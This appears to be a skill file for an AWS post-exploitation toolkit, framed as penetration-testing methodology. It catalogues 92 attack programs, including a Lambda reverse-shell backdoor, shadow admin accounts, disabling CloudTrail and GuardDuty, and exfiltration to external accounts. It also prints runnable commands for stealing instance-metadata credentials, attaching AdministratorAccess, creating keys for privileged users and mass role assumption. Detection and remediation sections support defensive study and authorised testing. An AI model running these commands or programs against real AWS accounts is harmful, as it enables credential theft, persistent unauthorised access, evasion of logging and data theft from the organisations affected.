aws-postexploit

AWS post-exploitation — 92 programs for full kill chain from recon to cleanup via AWS CLI

SKILL.md

GitHub

AWS Post-Exploitation Methodology

92 programs across 7 categories for full AWS kill chain after compromising IAM credentials or EC2 instance. All tools use aws CLI natively — no Python/boto3 dependency.

Prerequisites

  1. Valid AWS credentials — access key + secret key, session token, or instance profile
  2. AWS CLI installed — aws --version
  3. Current identity — aws sts get-caller-identity

Kill Chain Phases

Phase 1 — Reconnaissance (23 programs)

Action Command Purpose
IAM enumeration awshook iam_enum Users, roles, policies, privesc paths, wildcard analysis
EC2 enumeration awshook ec2_enum Instances, AMIs, security groups, key pairs, user-data secrets
S3 enumeration awshook s3_enum Buckets, policies, ACLs, encryption, public access
Lambda enumeration awshook lambda_enum Functions, layers, event sources, env var secrets
VPC enumeration awshook vpc_enum VPCs, subnets, routes, NATs, endpoints, peering
RDS enumeration awshook rds_enum Instances, clusters, snapshots, public access, encryption
ECS enumeration awshook ecs_enum Clusters, services, tasks, exec enabled, container env secrets
EKS enumeration awshook eks_enum Clusters, node groups, Fargate, OIDC, public endpoint
SSO enumeration awshook sso_enum SSO instances, permission sets, identity store
Org enumeration awshook org_enum Accounts, OUs, SCPs, delegated admins
Route53 enumeration awshook route53_enum Zones, records, health checks, subdomain takeover
Service recon awshook service_recon Account-wide service usage summary
CFN enumeration awshook cfn_enum Stacks, templates, secrets, parameters, outputs, IAM resources
API Gateway enum awshook apigw_enum REST/HTTP/WebSocket APIs, stages, API keys, authorizers
SNS/SQS enum awshook sns_sqs_enum Topics, subscriptions, queues, policies, encryption
CloudWatch enum awshook cloudwatch_enum Log groups, alarms, dashboards, custom metrics
ElastiCache enum awshook elasticache_enum Redis/Memcached auth, encryption, replication, snapshots
Redshift enum awshook redshift_enum Clusters, public access, encryption, audit logging, snapshots
Multi-region scan awshook multi_region_scan Shadow deployments across all enabled regions
KMS enum awshook kms_enum Customer-managed keys, policies (Principal:*), grants
OpenSearch enum awshook opensearch_enum Domains, public access, encryption, resource policies
EFS enum awshook efs_enum File systems, mount targets, SG analysis, encryption
ELB enum awshook elb_enum ALB/NLB/Classic, internet-facing, SSL policy, HTTP redirect

Phase 2 — Credential Harvesting (11 programs)

Action Command Purpose
Metadata harvest awshook metadata_harvest EC2/ECS/Lambda metadata endpoint credentials (IMDSv1/v2)
Secrets dump awshook secrets_dump Secrets Manager + SSM Parameter Store extraction
Access key enum awshook access_key_enum All active keys with age, last-used, stale detection
Role credential awshook role_credential --role-arn ARN STS AssumeRole for temporary credentials
Federation token awshook federation_token Console access from programmatic credentials
ECR token awshook ecr_token ECR registry auth for container image access
Console login awshook console_login --user-name NAME Create/update IAM console login profile
Cognito token awshook cognito_token Cognito pool enum, client secrets, identity pool credentials
CFN secret extract awshook cfn_secret_extract Extract secrets from CFN parameters, templates, outputs
CodeCommit cred awshook codecommit_cred HTTPS Git/SSH credentials across IAM users
CI/CD secrets awshook ci_cd_secret_extract CodePipeline artefacts, CodeBuild env vars, CodeStar connections

Phase 3 — Privilege Escalation (10 programs)

Action Command Purpose
IAM privesc awshook iam_privesc --method passrole PassRole/AssumeRole/AttachPolicy/CreateKey chains
Policy rollback awshook policy_version_rollback --policy-arn ARN --rollback Restore previous permissive policy version
Role chain awshook role_chain ARN1 ARN2 ARN3 Multi-hop A→B→C cross-account/service escalation
Lambda privesc awshook lambda_privesc --role-arn ARN Lambda with high-priv role for code execution
Glue privesc awshook glue_privesc --role-arn ARN Glue job/dev endpoint with high-priv role
CFN privesc awshook cloudformation_privesc --role-arn ARN Stack with IAM resource creation
SSM privesc awshook ssm_privesc --instance-id ID RunCommand on high-priv instance profiles
EC2 privesc awshook ec2_privesc Launch EC2 with high-priv instance profile
Boundary bypass awshook permission_boundary_bypass Analyze and bypass permission boundaries
SageMaker privesc awshook sagemaker_privesc --role-arn ARN Notebook/training job with high-priv role

Phase 4 — Persistence (11 programs)

Action Command Purpose
Lambda backdoor awshook lambda_backdoor --function-name NAME --callback-url URL Inject reverse shell layer
IAM backdoor awshook iam_backdoor Shadow admin with AdministratorAccess + keys + console
EventBridge awshook eventbridge_backdoor --target-arn ARN Scheduled Lambda/SSM execution
SSM document awshook ssm_document_backdoor --command CMD Custom command document for persistent exec
CodeBuild awshook codebuild_backdoor --role-arn ARN Project with credential exfil buildspec
AMI backdoor awshook ami_backdoor --instance-id ID AMI from compromised instance
Cross-account role awshook cross_account_role --external-account ACCT Trust role for external persistence
Cognito backdoor awshook cognito_backdoor --user-pool-id ID Admin user in Cognito pool
EC2 Instance Connect awshook ec2_instance_connect --instance-id ID SSH key push (60s window)
SSM State Manager awshook ssm_state_manager --command CMD --instance-id ID Scheduled association (stealth)
ECS scheduled task awshook ecs_scheduled_task --cluster C --task-definition DEF Serverless Fargate persistence

Phase 5 — Lateral Movement (8 programs)

Action Command Purpose
SSM exec awshook ssm_exec --instance-id ID --command CMD EC2 command execution via SSM
ECS exec awshook ecs_exec --cluster C --task T --command CMD Container command execution
Cross-account enum awshook cross_account_enum --try-assume Trust relationships + assume attempts
VPC peering awshook vpc_peering_enum Peering connections for network pivoting
Transit gateway awshook transit_gateway_enum TGW attachments + cross-account routing
Lightsail exec awshook lightsail_exec --instance-name NAME --command CMD Lightsail instance access
Lambda exec awshook code_exec_lambda --function-name NAME Direct Lambda invocation
SSM Session awshook ssm_session --instance-id ID Interactive shell + port forwarding

Phase 6 — Defense Evasion (13 programs)

Action Command Purpose
CloudTrail blind awshook cloudtrail_blind --action stop Stop/modify/delete CloudTrail logging
GuardDuty evade awshook guardduty_evade --action suspend Suspend detectors, archive findings, auto-suppress
Config disable awshook config_disable --action stop Stop AWS Config recorder
Flow log disable awshook vpc_flow_disable --action delete Delete VPC Flow Log subscriptions
Access Analyzer awshook access_analyzer_suppress --action archive Archive findings, delete analyzers
Security Hub awshook security_hub_suppress --action suppress Suppress findings or disable entirely
WAF bypass awshook waf_bypass Enumerate WAF rules, ACLs, IP sets
DNS Firewall awshook dns_firewall_disable --action disassociate Remove DNS Firewall from VPCs
CloudWatch tamper awshook cloudwatch_tamper --action delete Delete/reduce retention of log groups
Macie disable awshook macie_disable --action suspend Suspend/disable sensitive data discovery
Inspector disable awshook inspector_disable --action disable Disable vulnerability scanning
S3 logging disable awshook s3_logging_disable --action disable_access_log Disable S3 access logging + object-level CloudTrail
CloudTrail selector awshook cloudtrail_selector_tamper --action exclude_kms Surgical event selector modification (stealthier than stopping)

Phase 7 — Exfiltration & Cleanup (16 programs)

Action Command Purpose
S3 dump awshook s3_dump --bucket B --download Sensitive file discovery and download
EBS snapshot awshook ec2_snapshot --volume-id VOL --share-account ACCT Snapshot with cross-account sharing
RDS dump awshook rds_dump --db-identifier ID --share-account ACCT RDS snapshot, share, restore
DynamoDB dump awshook dynamodb_dump --table-name T Table scan with secret detection
EBS direct read awshook ebs_direct_read --snapshot-id SNAP Block-level read without EC2
S3 exfil awshook s3_exfil --bucket B --external-account A Modify bucket policy for external access
Data stage awshook data_stage --source PATH --dest-bucket B Compress and stage to attacker S3
Cleanup awshook cleanup_aws ALWAYS run — removes all CyberStrike resources
CodeCommit dump awshook codecommit_dump --repo NAME Repo clone with secret file extraction
ECR dump awshook ecr_dump --repository NAME Container images, vulns, auth tokens
Athena query awshook athena_query --query-string SQL SQL query against S3 data lakes
Secrets bulk export awshook secrets_bulk_export Bulk extract all secrets with S3 staging
Backup vault enum awshook backup_vault_enum AWS Backup vaults, recovery points, cross-account sharing
CloudWatch logs dump awshook cloudwatch_logs_dump --log-group NAME Export CloudWatch logs to S3 for offline analysis
SNS/SQS siphon awshook sns_sqs_siphon --topic-arn ARN Intercept SNS subscriptions and SQS messages
Kinesis tap awshook kinesis_tap --stream-name NAME Tap Kinesis data streams for real-time interception

Detection Considerations

Service What it catches
CloudTrail All API calls (unless blinded): CreateAccessKey, AttachUserPolicy, CreateFunction, StopLogging, AssumeRole
GuardDuty Anomalous IAM behavior, credential exfiltration, unusual API patterns, policy changes
AWS Config Configuration changes for IAM, Lambda, CloudTrail, VPC, Security Groups
Access Analyzer External access to S3, IAM, Lambda, SQS, SNS, KMS
Security Hub Aggregated findings from all security services
VPC Flow Logs Network traffic patterns for lateral movement detection
DNS Firewall DNS-based exfiltration attempts

Program Reference

Program MITRE ATT&CK CWE
iam_enum T1087.004 Cloud Account CWE-269
ec2_enum T1580 Cloud Infrastructure Discovery CWE-284
s3_enum T1580 Cloud Infrastructure Discovery CWE-284
lambda_enum T1580 Cloud Infrastructure Discovery CWE-312
vpc_enum T1580 Cloud Infrastructure Discovery CWE-284
rds_enum T1580 Cloud Infrastructure Discovery CWE-284
ecs_enum T1580 Cloud Infrastructure Discovery CWE-284
eks_enum T1580 Cloud Infrastructure Discovery CWE-284
sso_enum T1087.004 Cloud Account CWE-269
org_enum T1580 Cloud Infrastructure Discovery CWE-200
route53_enum T1596 Search Open Technical Databases CWE-284
service_recon T1580 Cloud Infrastructure Discovery CWE-200
cfn_enum T1580 Cloud Infrastructure Discovery CWE-312
apigw_enum T1580 Cloud Infrastructure Discovery CWE-284
sns_sqs_enum T1580 Cloud Infrastructure Discovery CWE-284
cloudwatch_enum T1580 Cloud Infrastructure Discovery CWE-200
elasticache_enum T1580 Cloud Infrastructure Discovery CWE-287
redshift_enum T1580 Cloud Infrastructure Discovery CWE-284
multi_region_scan T1580 Cloud Infrastructure Discovery CWE-200
kms_enum T1580 Cloud Infrastructure Discovery CWE-732
opensearch_enum T1580 Cloud Infrastructure Discovery CWE-284
efs_enum T1580 Cloud Infrastructure Discovery CWE-311
elb_enum T1580 Cloud Infrastructure Discovery CWE-284
metadata_harvest T1552.005 Cloud Instance Metadata API CWE-522
secrets_dump T1555.006 Cloud Secrets Management Stores CWE-522
access_key_enum T1087.004 Cloud Account CWE-522
role_credential T1078.004 Cloud Accounts CWE-522
federation_token T1078.004 Cloud Accounts CWE-522
ecr_token T1552.001 Credentials In Files CWE-522
console_login T1098 Account Manipulation CWE-522
cognito_token T1078.004 Cloud Accounts CWE-287
cfn_secret_extract T1552.001 Credentials In Files CWE-312
codecommit_cred T1552.001 Credentials In Files CWE-522
ci_cd_secret_extract T1552.001 Credentials In Files CWE-312
iam_privesc T1098 Account Manipulation CWE-269
policy_version_rollback T1098 Account Manipulation CWE-269
role_chain T1078.004 Cloud Accounts CWE-269
lambda_privesc T1098 Account Manipulation CWE-269
glue_privesc T1098 Account Manipulation CWE-269
cloudformation_privesc T1098 Account Manipulation CWE-269
ssm_privesc T1098 Account Manipulation CWE-269
ec2_privesc T1098 Account Manipulation CWE-269
permission_boundary_bypass T1098 Account Manipulation CWE-732
sagemaker_privesc T1098 Account Manipulation CWE-269
lambda_backdoor T1525 Implant Internal Image CWE-547
iam_backdoor T1098.001 Additional Cloud Credentials CWE-547
eventbridge_backdoor T1053.007 Container Orchestration Job CWE-547
ssm_document_backdoor T1059.009 Cloud API CWE-547
codebuild_backdoor T1053.007 Container Orchestration Job CWE-547
ami_backdoor T1525 Implant Internal Image CWE-547
cross_account_role T1098.001 Additional Cloud Credentials CWE-284
cognito_backdoor T1098.001 Additional Cloud Credentials CWE-547
ec2_instance_connect T1098.004 SSH Authorized Keys CWE-284
ssm_state_manager T1053.005 Scheduled Task CWE-547
ecs_scheduled_task T1053.007 Container Orchestration Job CWE-547
ssm_exec T1021.007 Cloud Services CWE-78
ecs_exec T1609 Container Administration Command CWE-78
cross_account_enum T1087.004 Cloud Account CWE-284
vpc_peering_enum T1580 Cloud Infrastructure Discovery CWE-284
transit_gateway_enum T1580 Cloud Infrastructure Discovery CWE-284
lightsail_exec T1021.007 Cloud Services CWE-522
code_exec_lambda T1059.009 Cloud API CWE-78
ssm_session T1021.007 Cloud Services CWE-284
cloudtrail_blind T1562.008 Disable Cloud Logs CWE-693
guardduty_evade T1562.008 Disable Cloud Logs CWE-693
config_disable T1562.008 Disable Cloud Logs CWE-693
vpc_flow_disable T1562.008 Disable Cloud Logs CWE-693
access_analyzer_suppress T1562.008 Disable Cloud Logs CWE-693
security_hub_suppress T1562.008 Disable Cloud Logs CWE-693
waf_bypass T1562.001 Disable or Modify Tools CWE-693
dns_firewall_disable T1562.001 Disable or Modify Tools CWE-693
cloudwatch_tamper T1070.002 Clear Linux or Mac System Logs CWE-693
macie_disable T1562.008 Disable Cloud Logs CWE-693
inspector_disable T1562.008 Disable Cloud Logs CWE-693
s3_logging_disable T1562.008 Disable Cloud Logs CWE-693
cloudtrail_selector_tamper T1562.008 Disable Cloud Logs CWE-693
s3_dump T1530 Data from Cloud Storage CWE-200
ec2_snapshot T1537 Transfer Data to Cloud Account CWE-200
rds_dump T1530 Data from Cloud Storage CWE-200
dynamodb_dump T1530 Data from Cloud Storage CWE-200
ebs_direct_read T1530 Data from Cloud Storage CWE-200
s3_exfil T1537 Transfer Data to Cloud Account CWE-284
data_stage T1074.002 Remote Data Staging CWE-200
codecommit_dump T1213.003 Code Repositories CWE-200
ecr_dump T1530 Data from Cloud Storage CWE-200
athena_query T1530 Data from Cloud Storage CWE-200
secrets_bulk_export T1555.006 Cloud Secrets Management Stores CWE-200
backup_vault_enum T1530 Data from Cloud Storage CWE-284
cloudwatch_logs_dump T1530 Data from Cloud Storage CWE-200
sns_sqs_siphon T1530 Data from Cloud Storage CWE-200
kinesis_tap T1530 Data from Cloud Storage CWE-200
cleanup_aws T1070 Indicator Removal —

Evidence Standard

Every claim in an AWS post-exploitation report must be reproducible from the same starting principal. The identity you hold and the escalation you achieved, with the artefact that granted it, are the finding. Action names alone are not.

Item Command Why
Foothold identity aws sts get-caller-identity the principal ARN, account, and whether you are an assumed role
Attached / inline policy aws iam list-attached-user-policies --user-name U; aws iam list-user-policies --user-name U the artefact that granted the escalation
Effective boundary aws iam get-user-policy --user-name U --policy-name P; aws iam get-role --role-name R --query 'Role.PermissionsBoundary' a boundary or SCP can make a broad policy inert
Organisation guardrails aws organizations list-policies-for-target --target-id ACCT --filter SERVICE_CONTROL_POLICY an SCP can deny the action regardless of IAM
Instance-profile reach TOKEN=$(curl -sX PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") then curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ IMDSv2 works and the profile name is the artefact
Escalation proof aws iam simulate-principal-policy before, then the executed call after shows the boundary moved, not just that a call succeeded
Time-bound credential aws sts get-caller-identity plus the role's Expiration from assume-role an expired credential is not access
Account and region scope aws sts get-caller-identity --query Account; aws ec2 describe-regions --query 'Regions[].RegionName' every claim is per-account, per-region
CloudTrail impact aws cloudtrail describe-trails --include-shadow-trails; aws cloudtrail get-trail-status --name T proves whether the activity was logged

Verify the identity — and whether IMDS is even reachable

# Identity, account, and whether you are a user or an assumed role
aws sts get-caller-identity

# IMDSv2 token, then the instance profile name (the artefact)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# If IMDSv1 is also permitted, the same call needs no token
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

Prove the escalation is real, not just permitted on paper

# Does the boundary actually allow the destructive action before you attempt it?
aws iam simulate-principal-policy \
  --policy-source-arn "$(aws sts get-caller-identity --query Arn --output text)" \
  --action-names iam:CreateAccessKey iam:AttachUserPolicy iam:PassRole \
  --query 'EvaluationResults[].[EvalActionName,EvalDecision]' --output table

# Is a permission boundary present? A boundary that denies makes the broad policy inert.
aws iam get-role --role-name ROLE --query 'Role.PermissionsBoundary'

# Is an SCP blocking the action regardless of IAM?
aws organizations list-policies-for-target --target-id ACCOUNT_ID \
  --filter SERVICE_CONTROL_POLICY

Enumerate what the assumed role can actually reach

# Which roles can this principal assume, and without MFA?
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument].{Role:RoleName,Trust:AssumeRolePolicyDocument}' \
  --output json | jq -r '.Roles[] | select(.Trust.Statement[].Principal.AWS != null) | .Role'
# Direct reach into a bucket, proving data access rather than bucket existence
aws s3api get-bucket-policy --bucket B
aws s3api get-public-access-block --bucket B
aws s3 ls s3://B/ --recursive --summarize | tail -2

The get-caller-identity output paired with the effective-policy artefact and the executed escalation is the finding. "The instance profile was broad" is an observation; "the EC2 role app-prod had iam:PassRole on OrganizationAccountAccessRole with no permission boundary and no SCP, so aws sts assume-role yielded AdministratorAccess — confirmed by get-caller-identity before and after" is a finding.

False positives — exclude each of these explicitly:

  • A role that looks broad but is scoped by an explicit Deny in the permissions boundary. Run simulate-principal-policy against the specific action rather than reading the policy.
  • An SCP in the organisation that denies the action. IAM can allow and the SCP still wins. Check list-policies-for-target before claiming any control-plane escalation.
  • IMDS reachable but every role denied. Metadata reach is not credential access; fetch the credentials and actually call STS with them.
  • An expired or session-scoped credential. Read the Expiration field; an expired token is not access.
  • list-* succeeding and being reported as data access. Enumeration is not exfiltration; prove s3:GetObject with a real object read and byte count.
  • A cross-account trust that exists but requires ExternalId you do not hold. Attempt the assume and report the exact error, not the trust policy's shape.
  • A bucket named in a policy but not reachable. Enumerate, then read.

Record an executed assume-role or a successful destructive call as SOLID. Record a role whose policy appears permissive but was never exercised as PLAUSIBLE until simulated. Record an escalation blocked by boundary/SCP as OVERSTATED if it was claimed as reach.

Detection and log integrity

Service What it records
CloudTrail every API call, the principal, the source IP, and whether MFA was used
GuardDuty anomalous IAM behaviour, credential exfiltration, unusual API sequences
AWS Config configuration drift for IAM, Lambda, CloudTrail, VPC, security groups
Access Analyzer external access to S3, IAM, Lambda, SQS, SNS, KMS
Security Hub aggregated findings from all of the above
VPC Flow Logs the network path a pivot actually took

Remediation Reference

  1. Set least privilege on instance profiles and task roles. An instance profile should grant only the API calls the workload makes. Where possible, replace instance-level AWS credentials with IAM Roles for Service Accounts (IRSA) or workload identity federation, so a compromised node yields no account-wide credential.
  2. Require IMDSv2 and enforce the hop limit. aws ec2 modify-instance-metadata-options --instance-id I --http-tokens required --http-put-response-hop-limit 1. Session-token enforcement blocks the SSRF-to-credential path that instance-role harvesting depends on. Audit remaining IMDSv1 instances with describe-instances --query on MetadataOptions.HttpTokens.
  3. Eliminate iam:PassRole to broad roles and remove wildcard policies. Wildcards on Action: "*" with Resource: "*", iam:CreatePolicyVersion, iam:AttachUserPolicy, iam:CreateAccessKey, iam:UpdateAssumeRolePolicy, and sts:AssumeRole on trusted roles are the documented escalation paths. Scope each with explicit actions and resource ARNs.
  4. Rotate and expire credentials. Any key, session, or STS token observed during the engagement must be revoked, not merely reported. Enforce a maximum access-key age, disable unused keys, and delete keys last used beyond a threshold. Assume console sessions created via federation_token and console_login are live until explicitly killed.
  5. Apply permissions boundaries and SCPs deliberately. A boundary is a control only if it contains an explicit Deny for escalation actions. SCPs must deny iam:*, organizations:*, and cloudtrail:* at the organisation root for member accounts that must not self-administer.
  6. Protect and centralise logging. Enable organisation CloudTrail with log-file validation, deliver to a dedicated, write-once logging account the workload account cannot reach, and add S3 Object Lock. Alert on StopLogging, DeleteTrail, UpdateTrail, PutEventSelectors, and DeleteDetector/UpdateDetector for GuardDuty. A CloudTrail the attacker can stop is not evidence.
  7. Harden cross-account trust. Any trust policy must specify an ExternalId and, where possible, a SourceArn/SourceAccount condition and aws:PrincipalOrgID. Re-audit assume-role trust policies after any incident.
  8. Detect the high-signal API combinations. Alert on create-key-then-attach-policy, on CreateFunction followed by InvokeFunction, ssm:SendCommand against production instances, and on the sequence of security-service disables that characterises defence evasion.
  9. Enforce guardrails in code, not in documentation. Service control policies, aws:RequestedRegion conditions, and tag-on-create policies prevent shadow deployments in unused regions, which auditing alone does not.

Related Routing




7. CONFIRMING THE FINDING

Step Question What it proves
1 What identity is the credential, from the provider's own sts call? the scope of the foothold
2 Which policies or roles are attached, directly and through groups? the permission surface
3 Did the control identity fail the same call you succeeded at? escalation, not base permission
4 Did you enumerate and read a real resource (an object, a secret, a database row)? impact, not just permission
5 For a role assumption: did the new identity actually differ, and what did it gain? the escalation step
6 Did you reach more than one account? blast radius
7 Is the credential still valid at report time, and does it expire? live impact, bounded

An sts get-caller-identity plus a resource read is the bar. A permission listed in list-attached-role-policies is a policy statement; the call that returns data is the finding.


8. EXECUTION PRIMITIVES

Cloud post-exploitation is proven by reading a resource as an identity you hold or escalated into. Every block below ends at data, not at a permission listing.

8.1 Establish the identity and the permission surface

# identity, from the provider - never inferred from environment variables alone
aws sts get-caller-identity
aws sts get-caller-identity --query 'Arn' --output text | tee /tmp/arn
# and what that identity can do, as the provider sees it
aws iam list-attached-user-policies --user-name "$(basename "$(cat /tmp/arn)" | cut -d/ -f1)" 2>/dev/null
aws iam list-attached-role-policies --role-name "$(basename "$(cat /tmp/arn)")" 2>/dev/null
aws iam list-user-policies --user-name "$(basename "$(cat /tmp/arn)")" 2>/dev/null
# the control: a call that SHOULD be denied, recorded as the baseline
aws iam list-users 2>&1 | head -3
aws s3 ls 2>&1 | head -3

Record the ARN, the account ID, and the failing control call first. Every later claim is a delta against that control, and the ARN tells the client exactly which credential to rotate.

8.2 Enumerate and read real data

# what does this identity actually see
aws s3 ls 2>/dev/null | head -10
aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,State.Name]' --output table 2>/dev/null | head -20
aws secretsmanager list-secrets --query 'SecretList[].Name' --output text 2>/dev/null | head -10
aws ssm describe-parameters --query 'Parameters[].Name' --output text 2>/dev/null | head -10
# and the READ that proves impact - one object, one secret, one row
aws s3 cp s3://BUCKET/KEY /tmp/fetched 2>&1 | head -2; wc -c /tmp/fetched 2>/dev/null
aws secretsmanager get-secret-value --secret-id NAME --query 'SecretString' --output text 2>/dev/null | head -c 200; echo
# end at a database, which is usually the real target
aws rds describe-db-instances --query 'DBInstances[].[DBInstanceIdentifier,Endpoint.Address,Engine]' --output table 2>/dev/null | head -10

One fetched object or secret is the finding. Listing secrets is reconnaissance; reading one is the impact, and its content determines the severity.

8.3 Escalation by policy, with the control

# the classic self-escalation primitives, each tested and then REVERTED
# 1) attach a policy you already have permission to attach
aws iam attach-user-policy --user-name SELF --policy-arn arn:aws:iam::aws:policy/AdministratorAccess 2>&1 | head -2
aws iam list-attached-user-policies --user-name SELF --query 'AttachedPolicies[].PolicyArn' --output text
# 2) create an access key for a more privileged user
aws iam create-access-key --user-name TARGET_PRIVILEGED_USER 2>&1 | head -5
# 3) pass a role to a service that then runs as that role
aws iam list-roles --query 'Roles[].RoleName' --output text 2>/dev/null | head -10
# 4) update an existing policy version to grant yourself more, which needs no attach right
aws iam list-policy-versions --policy-arn ARN 2>/dev/null | head -10

Every escalation must be reverted in the same session. Record the exact call that granted the additional right and the exact call that removed it; a left-behind policy attachment is an engagement-integrity failure, not a finding.

8.4 Assuming roles and crossing accounts

# which roles can this identity assume - the trust policy is the permission
aws sts assume-role --role-arn arn:aws:iam::ACCT:role/NAME --role-session-name pentest 2>&1 | head -5
# and the same for the whole account, via the role list and each trust policy
aws iam list-roles --query 'Roles[].Arn' --output text 2>/dev/null | tr '\t' '\n' | while read -r R; do
  aws sts assume-role --role-arn "$R" --role-session-name pentest >/dev/null 2>&1 && echo "ASSUMABLE: $R"
done | head -10
# then operate AS the new identity - the escalation only counts once used
export AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...
aws sts get-caller-identity
aws s3 ls 2>/dev/null | head -5

The get-caller-identity after the assumption, and a resource read under it, is the finding. An assumable role with no data behind it is a hardening note.

8.5 The instance metadata service

# from a host: the role's credentials, which is the commonest cloud foothold
TOKEN=$(curl -sS -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
echo "IMDSv2 token acquired: $([ -n "$TOKEN" ] && echo yes || echo NO - v1 is available)"
curl -sS -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ | head -3
ROLE=$(curl -sS -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ | head -1)
curl -sS -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" | head -c 400; echo
# and the container credential endpoint, which some platforms expose
curl -sS "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null | head -c 300; echo
# then USE the credential, which is the actual finding
aws sts get-caller-identity

Reading IMDS is the surface; using the credential that comes back is the finding. Note whether IMDSv1 answered without the PUT, because that absence is the control that would have stopped it.

8.6 Persistence - tested, then removed

# each persistence mechanism gets a detection check and a removal step in the same block
aws iam create-user --user-name pentest-persistence 2>&1 | head -2
aws iam create-access-key --user-name pentest-persistence 2>&1 | head -5
aws iam attach-user-policy --user-name pentest-persistence --policy-arn arn:aws:iam::aws:policy/AdministratorAccess 2>&1
# verify it exists
aws iam get-user --user-name pentest-persistence 2>/dev/null | head -5
# and REMOVE it, verifying the removal
aws iam detach-user-policy --user-name pentest-persistence --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam delete-access-key --user-name pentest-persistence --access-key-id KEYID
aws iam delete-user --user-name pentest-persistence
aws iam get-user --user-name pentest-persistence 2>&1 | head -2

A persistence mechanism that is not removed is an incident. The last get-user failing is the evidence that the cleanup happened, and it belongs in the report.

8.7 The CloudTrail trail the activity created

# the blue-team half: name the events your activity generated, so the client can hunt and scope
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateAccessKey \
  --max-results 5 2>/dev/null | head -20
for E in GetCallerIdentity AssumeRole CreateAccessKey AttachUserPolicy PutRolePolicy GetSecretValue; do
  C=$(aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=$E \
      --max-results 1 --query 'length(Events)' --output text 2>/dev/null || echo 0)
  printf '%-20s events in trail: %s\n' "$E" "$C"
done

Naming the events is part of the deliverable. A cloud post-exploitation report that does not tell the client which CloudTrail events to hunt is half a report.

8.8 A harness that pairs escalation with its control and cleanup

python3 - <<'PY'
import subprocess, shlex
def aws(cmd, timeout=60):
    try:
        r = subprocess.run(shlex.split("aws " + cmd), capture_output=True, text=True, timeout=timeout)
        return r.returncode == 0, (r.stdout + r.stderr).strip()
    except Exception as e:
        return False, str(e)

ok, ident = aws("sts get-caller-identity --output json")
print("identity:", ident[:180])
if not ok:
    print("no usable credential - stop here"); raise SystemExit

print()
print("CONTROL - calls expected to fail at this privilege level:")
for c in ["iam list-users", "s3 ls", "secretsmanager list-secrets"]:
    ok2, out = aws(c, 30)
    print("  %-28s %s" % (c, "ALLOWED" if ok2 else "denied"))

print()
print("READS - one resource per service, which is what proves impact:")
for name, c in [("s3-buckets", "s3 ls"),
                ("secrets", "secretsmanager list-secrets --query SecretList[].Name --output text"),
                ("instances", "ec2 describe-instances --query Reservations[].Instances[].InstanceId --output text")]:
    ok3, out = aws(c, 60)
    print("  %-12s %s %s" % (name, "OK  " if ok3 else "FAIL", (out[:80] if ok3 else out[:60])))

print()
print("Report: identity ARN, the control results, each read with its row count.")
print("Revert every write. Verify the reversion. Name the CloudTrail events.")
PY

Identity, control, read, revert. Four artefacts, and a cloud report missing the control or the reversion is incomplete.


9. EVIDENCE STANDARD

Item Why
The identity ARN and account ID, from sts get-caller-identity the exact credential to rotate
The control call result at that identity base privilege proves escalation
The policy or trust relationship behind each permission the fix location
The resource read with a redacted sample or a row count impact
For role assumption: both identities and what the second added the escalation step, named
For IMDS: whether v2 was enforced (the PUT result) the control that would have stopped it
The CloudTrail event names the activity produced the blue-team half
The remediation of every write and its verification engagement integrity
The credential expiry and whether it remains valid live impact
Confirmation that no secret value is reproduced in full no unnecessary disclosure

Report the identity and the read: "the credential on the workload host resolved via IMDSv1 to arn:aws:sts::123456789012:assumed-role/ci-deployer/i-0abc; sts get-caller-identity confirmed it and iam list-attached-role-policies showed AmazonS3FullAccess and SecretsManagerReadWrite, and secretsmanager get-secret-value --secret-id prod/rds/master returned a live database password for prod-db.cluster-xxxx.us-east-1.rds.amazonaws.com; the same calls with the account read-only baseline credential are AccessDenied. IMDSv2 is not required, so the credential was retrievable from any process on the host, including the web application", never "the IAM role is over-permissioned".

False positives - do not report these

Observation Why it is not a finding
A permission listed in a policy you never exercised a statement, not access
sts get-caller-identity succeeding it is allowed to every credential by design
An AccessDenied on a resource the control working
A secret you can list but not read scope it, or test the read and report the denial
An IMDS endpoint reachable without usable credentials the surface, not the finding
An assumable role with no data behind it hardening only
A resource in another account you were given access to in-scope access, not escalation
An over-permissioned role held by a break-glass account you were issued engagement scope
CloudTrail events for your own activity presented as the target read them, do not assume
A finding reproduced against a personal cloud account tests your own environment
A credential or secret value reproduced in full a disclosure

Read data, or it is not a finding. Cloud assessments generate a lot of permission listings; they are not the report.


10. REMEDIATION REFERENCE

  1. Enforce IMDSv2 (http_tokens: required) on every instance - it stops the single commonest cloud credential theft, and the change is one instance attribute.
  2. Scope every workload role to the specific resources it needs, with conditions, and remove wildcards - most post-exploitation in this document is a consequence of a broad managed policy.
  3. Eliminate long-lived access keys in favour of short-lived role credentials - a key that does not exist cannot be stolen or left in a repository.
  4. Set a maximum session duration and require MFA for privileged role assumption - it bounds the value of a stolen session.
  5. Log every control-plane action to a trail in a separate, restricted account, with an integrity-validated bucket - the attacker who can delete the trail cannot hide if the trail is elsewhere.
  6. Alert on the escalation primitives: CreateAccessKey, AttachUserPolicy, PutRolePolicy, CreateUser, UpdateAssumeRolePolicy, and GetSecretValue on sensitive secrets.
  7. Alert on AssumeRole into any role the calling principal has never used before - role-assumption anomaly detection catches lateral movement that permission listings cannot.
